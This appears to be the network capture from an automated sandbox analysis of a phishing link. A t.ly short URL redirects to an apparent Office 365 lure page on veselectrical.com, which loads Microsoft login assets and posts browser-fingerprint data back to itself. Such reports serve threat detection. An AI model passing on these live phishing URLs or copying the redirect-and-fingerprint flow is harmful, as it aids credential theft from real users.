Nov 19, 2024 00:01:32.410141945 CET	138	138	192.168.2.4	192.168.2.255
Nov 19, 2024 00:01:35.285536051 CET	53	55036	1.1.1.1	192.168.2.4
Nov 19, 2024 00:01:54.223300934 CET	53	60449	1.1.1.1	192.168.2.4
Nov 19, 2024 00:02:16.400506020 CET	53	51992	1.1.1.1	192.168.2.4
Nov 19, 2024 00:02:16.974971056 CET	53	61494	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 19, 2024 00:01:24.023925066 CET	192.168.2.4	1.1.1.1	c2de	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 00:01:18.345210075 CET	192.168.2.4	1.1.1.1	0x3d77	Standard query (0)	t.ly	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:18.345752954 CET	192.168.2.4	1.1.1.1	0x180a	Standard query (0)	t.ly	65	IN (0x0001)	false
Nov 19, 2024 00:01:19.801181078 CET	192.168.2.4	1.1.1.1	0xfe1a	Standard query (0)	veselectrical.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:19.801517963 CET	192.168.2.4	1.1.1.1	0xf7da	Standard query (0)	veselectrical.com	65	IN (0x0001)	false
Nov 19, 2024 00:01:19.969362020 CET	192.168.2.4	1.1.1.1	0xfc6b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:19.969614029 CET	192.168.2.4	1.1.1.1	0x4363	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 00:01:22.519761086 CET	192.168.2.4	1.1.1.1	0x6d23	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:22.520359993 CET	192.168.2.4	1.1.1.1	0xcad0	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Nov 19, 2024 00:01:22.900712967 CET	192.168.2.4	1.1.1.1	0x29f2	Standard query (0)	veselectrical.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:22.901053905 CET	192.168.2.4	1.1.1.1	0x212	Standard query (0)	veselectrical.com	65	IN (0x0001)	false
Nov 19, 2024 00:01:23.944489002 CET	192.168.2.4	1.1.1.1	0xd73f	Standard query (0)	www.w3schools.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.944618940 CET	192.168.2.4	1.1.1.1	0x48d7	Standard query (0)	www.w3schools.com	65	IN (0x0001)	false
Nov 19, 2024 00:01:23.946722984 CET	192.168.2.4	1.1.1.1	0x8994	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.946882010 CET	192.168.2.4	1.1.1.1	0xa866	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Nov 19, 2024 00:01:23.963625908 CET	192.168.2.4	1.1.1.1	0xd66c	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.963843107 CET	192.168.2.4	1.1.1.1	0x45f2	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Nov 19, 2024 00:01:23.987093925 CET	192.168.2.4	1.1.1.1	0xbafb	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.987226963 CET	192.168.2.4	1.1.1.1	0x9fdb	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 19, 2024 00:01:25.286596060 CET	192.168.2.4	1.1.1.1	0x3677	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:25.286818027 CET	192.168.2.4	1.1.1.1	0xe88a	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 19, 2024 00:01:18.352416039 CET	1.1.1.1	192.168.2.4	0x3d77	No error (0)	t.ly		104.20.6.133	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:18.352416039 CET	1.1.1.1	192.168.2.4	0x3d77	No error (0)	t.ly		104.20.7.133	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:18.354382992 CET	1.1.1.1	192.168.2.4	0x180a	No error (0)	t.ly			65	IN (0x0001)	false
Nov 19, 2024 00:01:19.839596987 CET	1.1.1.1	192.168.2.4	0xfe1a	No error (0)	veselectrical.com		50.87.233.27	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:19.978327990 CET	1.1.1.1	192.168.2.4	0x4363	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 19, 2024 00:01:19.978377104 CET	1.1.1.1	192.168.2.4	0xfc6b	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:22.529129028 CET	1.1.1.1	192.168.2.4	0xcad0	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:22.539213896 CET	1.1.1.1	192.168.2.4	0x6d23	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:22.539213896 CET	1.1.1.1	192.168.2.4	0x6d23	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.12	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:22.539213896 CET	1.1.1.1	192.168.2.4	0x6d23	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.61	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:22.539213896 CET	1.1.1.1	192.168.2.4	0x6d23	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:22.539213896 CET	1.1.1.1	192.168.2.4	0x6d23	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.71	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:22.918616056 CET	1.1.1.1	192.168.2.4	0x29f2	No error (0)	veselectrical.com		50.87.233.27	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.952054024 CET	1.1.1.1	192.168.2.4	0x48d7	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.954365015 CET	1.1.1.1	192.168.2.4	0x8994	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.954365015 CET	1.1.1.1	192.168.2.4	0x8994	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.954400063 CET	1.1.1.1	192.168.2.4	0xa866	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Nov 19, 2024 00:01:23.968487978 CET	1.1.1.1	192.168.2.4	0xd73f	No error (0)	www.w3schools.com	cs837.wac.edgecastcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.968487978 CET	1.1.1.1	192.168.2.4	0xd73f	No error (0)	cs837.wac.edgecastcdn.net		192.229.133.221	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.971138954 CET	1.1.1.1	192.168.2.4	0x45f2	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.982357979 CET	1.1.1.1	192.168.2.4	0xd66c	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.982357979 CET	1.1.1.1	192.168.2.4	0xd66c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.71	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.982357979 CET	1.1.1.1	192.168.2.4	0xd66c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.91	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.982357979 CET	1.1.1.1	192.168.2.4	0xd66c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.12	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.982357979 CET	1.1.1.1	192.168.2.4	0xd66c	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.35.58.61	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.991884947 CET	1.1.1.1	192.168.2.4	0x1dab	No error (0)	shed.dual-low.s-part-0036.t-0009.t-msedge.net	s-part-0036.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.991884947 CET	1.1.1.1	192.168.2.4	0x1dab	No error (0)	s-part-0036.t-0009.t-msedge.net		13.107.246.64	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.993449926 CET	1.1.1.1	192.168.2.4	0x28d0	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.993449926 CET	1.1.1.1	192.168.2.4	0x28d0	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.993890047 CET	1.1.1.1	192.168.2.4	0xbafb	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.993890047 CET	1.1.1.1	192.168.2.4	0xbafb	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.993890047 CET	1.1.1.1	192.168.2.4	0xbafb	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:23.993926048 CET	1.1.1.1	192.168.2.4	0x9fdb	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:23.993926048 CET	1.1.1.1	192.168.2.4	0x9fdb	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:24.890400887 CET	1.1.1.1	192.168.2.4	0xd79d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:24.890400887 CET	1.1.1.1	192.168.2.4	0xd79d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:24.966396093 CET	1.1.1.1	192.168.2.4	0xe81	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:24.966396093 CET	1.1.1.1	192.168.2.4	0xe81	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:25.293281078 CET	1.1.1.1	192.168.2.4	0x3677	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:25.293281078 CET	1.1.1.1	192.168.2.4	0x3677	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:25.293281078 CET	1.1.1.1	192.168.2.4	0x3677	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 19, 2024 00:01:25.293960094 CET	1.1.1.1	192.168.2.4	0xe88a	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 00:01:25.293960094 CET	1.1.1.1	192.168.2.4	0xe88a	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

t.ly

veselectrical.com

https:

cdn.socket.io

cdnjs.cloudflare.com

aadcdn.msauth.net

logincdn.msauth.net

www.w3schools.com

aadcdn.msftauth.net

fs.microsoft.com

slscr.update.microsoft.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	104.20.6.133	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:19 UTC	652	OUT	GET /ShNFU HTTP/1.1 Host: t.ly Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:19 UTC	803	IN	HTTP/1.1 302 Found Date: Mon, 18 Nov 2024 23:01:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=600, stale-if-error=86400, stale-while-revalidate=600, no-store location: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff x-whom: tly-app x-do-app-origin: 86336e98-11a6-477d-b2fb-e3113d9e1e21 x-do-orig-status: 302 Vary: Accept-Encoding CF-Cache-Status: MISS Server-Timing: cfCacheStatus;desc="MISS" Strict-Transport-Security: max-age=15552000; includeSubDomains; preload Server: cloudflare CF-RAY: 8e4b94ecd9f545f6-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 23:01:19 UTC	566	IN	Data Raw: 34 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 76 65 73 65 6c 65 63 74 72 69 63 61 6c 2e 63 6f 6d 2f 6d 2f 3f 63 33 59 39 62 7a 4d 32 4e 56 38 78 58 33 5a 76 61 57 4e 6c 4a 6e 4a 68 62 6d 51 39 5a 57 70 73 61 46 4a 36 52 54 30 6d 64 57 6c 6b 50 56 56 54 52 56 49 7a 4d 44 45 77 4d 6a 41 79 4e 46 55 77 4d 44 45 77 4d 7a 41 77 4e 67 3d 3d 4e 30 31 32 33 4e 5b 45 4d 41 49 4c 5d 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 Data Ascii: 4a7<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]'" />
2024-11-18 23:01:19 UTC	632	IN	Data Raw: 30 31 32 33 4e 5b 45 4d 41 49 4c 5d 22 3e 68 74 74 70 73 3a 2f 2f 76 65 73 65 6c 65 63 74 72 69 63 61 6c 2e 63 6f 6d 2f 6d 2f 3f 63 33 59 39 62 7a 4d 32 4e 56 38 78 58 33 5a 76 61 57 4e 6c 4a 6e 4a 68 62 6d 51 39 5a 57 70 73 61 46 4a 36 52 54 30 6d 64 57 6c 6b 50 56 56 54 52 56 49 7a 4d 44 45 77 4d 6a 41 79 4e 46 55 77 4d 44 45 77 4d 7a 41 77 4e 67 3d 3d 4e 30 31 32 33 4e 5b 45 4d 41 49 4c 5d 3c 2f 61 3e 2e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 63 6c 6f 75 64 66 6c 61 72 65 69 6e 73 69 67 68 74 73 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2e 6d 69 6e 2e 6a 73 2f 76 63 64 31 35 63 62 65 37 37 37 32 66 34 39 63 33 39 39 63 36 61 35 62 61 62 66 32 32 63 31 32 34 31 37 31 37 36 38 39 31 37 Data Ascii: 0123N[EMAIL]">https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL]</a>. <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c124171768917
2024-11-18 23:01:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	50.87.233.27	443	2872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:01:20 UTC	752	OUT	GET /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] HTTP/1.1 Host: veselectrical.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:21 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:01:21 GMT Server: nginx/1.25.5 Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Server-Cache: true X-Proxy-Cache: MISS Transfer-Encoding: chunked
2024-11-18 23:01:21 UTC	4726	IN	Data Raw: 31 32 36 39 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 59 6f 75 20 6e 65 65 64 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 74 6f 20 72 75 6e 20 74 68 69 73 20 61 70 70 2e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f Data Ascii: 1269<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="ro
2024-11-18 23:01:21 UTC	1003	OUT	POST /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] HTTP/1.1 Host: veselectrical.com Connection: keep-alive Content-Length: 139155 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://veselectrical.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://veselectrical.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZWpsaFJ6RT0mdWlkPVVTRVIzMDEwMjAyNFUwMDEwMzAwNg==N0123N[EMAIL] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 64 61 74 61 3d 25 37 42 25 32 32 73 63 72 65 65 6e 25 32 32 25 33 41 25 37 42 25 32 32 61 76 61 69 6c 57 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 61 76 61 69 6c 48 65 69 67 68 74 25 32 32 25 33 41 39 38 34 25 32 43 25 32 32 77 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 68 65 69 67 68 74 25 32 32 25 33 41 31 30 32 34 25 32 43 25 32 32 63 6f 6c 6f 72 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 70 69 78 65 6c 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 61 76 61 69 6c 4c 65 66 74 25 32 32 25 33 41 30 25 32 43 25 32 32 61 76 61 69 6c 54 6f 70 25 32 32 25 33 41 30 25 32 43 25 32 32 6f 72 69 65 6e 74 61 74 69 6f 6e 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 53 63 72 65 65 6e 4f 72 69 65 Data Ascii: data=%7B%22screen%22%3A%7B%22availWidth%22%3A1280%2C%22availHeight%22%3A984%2C%22width%22%3A1280%2C%22height%22%3A1024%2C%22colorDepth%22%3A24%2C%22pixelDepth%22%3A24%2C%22availLeft%22%3A0%2C%22availTop%22%3A0%2C%22orientation%22%3A%22%5Bobject+ScreenOrie
2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 32 32 25 32 43 25 32 32 58 4d 4c 44 6f 63 75 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 58 4d 4c 44 6f 63 75 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 57 72 69 74 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 Data Ascii: 22%2C%22XMLDocument%22%3A%22function+XMLDocument%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultWriter%22%3A%22function+WritableStreamDefaultWriter%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultController%22%3A%22function+Writ
2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 25 32 43 25 32 32 53 56 47 41 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 53 56 47 41 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 70 6f 6e 73 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 70 6f 6e 73 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 Data Ascii: %2C%22SVGAElement%22%3A%22function+SVGAElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22Response%22%3A%22function+Response%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22ResizeObserverSize%22%3A%22function+ResizeObserverSize%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%
2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 43 25 32 32 48 54 4d 4c 4d 65 6e 75 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 6e 75 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 Data Ascii: C%22HTMLMenuElement%22%3A%22function+HTMLMenuElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMediaElement%22%3A%22function+HTMLMediaElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMarqueeElement%22%3A%22function+HTMLMarqueeElement%28%29+%7B+%5Bnat
2024-11-18 23:01:21 UTC	16384	OUT	Data Raw: 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 6f 72 74 53 69 67 6e 61 6c 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 6f 66 66 73 63 72 65 65 6e 42 75 66 66 65 72 69 6e 67 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 57 65 62 41 73 73 65 6d 62 6c 79 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 57 65 62 41 73 73 65 6d 62 6c 79 25 35 44 25 32 32 25 32 43 25 32 32 41 62 73 6f 6c 75 74 65 4f 72 Data Ascii: 22%3A%22function+AbortSignal%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22AbortController%22%3A%22function+AbortController%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22offscreenBuffering%22%3Atrue%2C%22WebAssembly%22%3A%22%5Bobject+WebAssembly%5D%22%2C%22AbsoluteOr
